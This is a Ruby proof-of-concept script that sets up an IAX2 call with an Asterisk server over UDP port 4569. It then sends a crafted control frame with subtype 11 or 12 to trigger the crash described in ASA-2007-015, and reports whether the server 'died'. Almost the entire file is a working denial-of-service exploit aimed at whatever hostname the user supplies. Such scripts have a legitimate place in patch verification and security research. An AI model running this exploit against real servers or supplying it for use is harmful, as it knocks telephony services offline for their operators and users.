#!/usr/bin/env ruby # author = tenkei_ev # Script to test chan_iax for the vuln in ASA-2007-015 # Trigger subtypes of 11 or 12 will crash an unpatched server # # First establish a call - send new, recv accept, send ack, recv answer, send ack # Then send IAX2 control packets with subtypes 0x0b or 0x0c that contain an information element # If asterisk sends an ACK to the trigger, it didn't crash # If no ACK is read off the socket during the timeout, consider asterisk to be crashed # # If any of the expected responses aren't received, asterisk may not crash when sending the trigger require 'socket' require 'timeout' hostname = nil trigger_subtype = nil if(ARGV.length < 2 ) $stderr.puts "#{$0} \r\n" exit -1 else hostname = ARGV[0] if(ARGV[1][0,2] == '0x' || ARGV[1][0,2] == '0X') trigger_subtype = ARGV[1].hex else trigger_subtype = ARGV[1].to_i end end t = UDPSocket.new t.connect(hostname,4569) puts "[*] Sending NEW #{hostname}" iax2_new = [ # HEADER 1 << 15 | 1, # full-frame bit and source call number 0, # retransmit bit and destination call number 0, # timestamp 0, # outbound stream sequence number 0, # inbound stream sequence number - need to reset to 0 0x06, # Frame type - IAX2 Control frame 1, # IAX2 NEW, C bit unset # VERSION IE 0x0b, 0x02, 0x02, # FORMAT IE # trying to match asterisk - ymmv if your asterisk server rejects you, # change this to match some codecs asterisk expects 0x09, 0x04, 0xe703, ].pack("nnNCCCC CCn CCN") t.write(iax2_new) iax2_accept,sender = t.recvfrom(1024) resp = iax2_accept.unpack("nnNCCCCCCN") srccall = resp[0] & 0x7fff dstcall = resp[1] & 0x7fff timestamp = resp[2] oseq = resp[3] iseq = resp[4] frametype = resp[5] subtype = resp[6] if(frametype == 6 && subtype == 7) puts "[*] ACCEPT received from #{hostname}" else puts "[!] Unexpected frame type `#{frametype}`, frame subtype `#{subtype}`" end puts "[*] Sending ACK" iax2_ack = [ 1 << 15 | dstcall & 0x7fff, 0 << 15 | srccall & 0x7fff, timestamp.to_i + 1000, iseq, oseq, 0x06, # IAX2 Control frame 0 << 7 | 0x04 & 0x7f, # IAX2 ACK ].pack("nnNCCCC") t.write(iax2_ack) iax2_answer,sender = t.recvfrom(1024) resp = iax2_answer.unpack("nnNCCCCCCN") srccall = resp[0] & 0x7fff dstcall = resp[1] & 0x7fff timestamp = resp[2] oseq = resp[3] iseq = resp[4] frametype = resp[5] subtype = resp[6] if(frametype == 4 && subtype == 4) puts "[*] ANSWER received from #{hostname}" else puts "[!] Unexpected frame type `#{frametype}`, frame subtype `#{subtype}`" end puts "[*] Sending ACK" iax2_ack = [ 1 << 15 | dstcall & 0x7fff, 0 << 15 | srccall & 0x7fff, timestamp.to_i + 1000, iseq, oseq, 0x06, # IAX2 Control frame 0 << 7 | 0x04 & 0x7f, # IAX2 ACK, C bit unset ].pack("nnNCCCC") t.write(iax2_ack) puts "[*] Sending trigger" trigger = [ 1 << 15 | dstcall & 0x7fff, 0 << 15 | srccall & 0x7fff, timestamp.to_i + 1000, iseq, oseq, 0x06, trigger_subtype, # IE 0x0b, 0x02, 0x02, ].pack("nnNCCCC CCn ") t.write(trigger) begin timeout_seconds = 2 Timeout::timeout(timeout_seconds) do |tlength| while(trigger_ack = t.recvfrom(1024)) resp = trigger_ack[0].unpack("nnNCCCCCCN") srccall = resp[0] & 0x7fff dstcall = resp[1] & 0x7fff timestamp = resp[2] oseq = resp[3] iseq = resp[4] frametype = resp[5] subtype = resp[6] if(frametype == 6 && subtype == 4) puts "[!] Asterisk survived" exit end end end rescue Timeout::Error => e puts "[!!!] Asterisk died" rescue ::Exception => e end t.close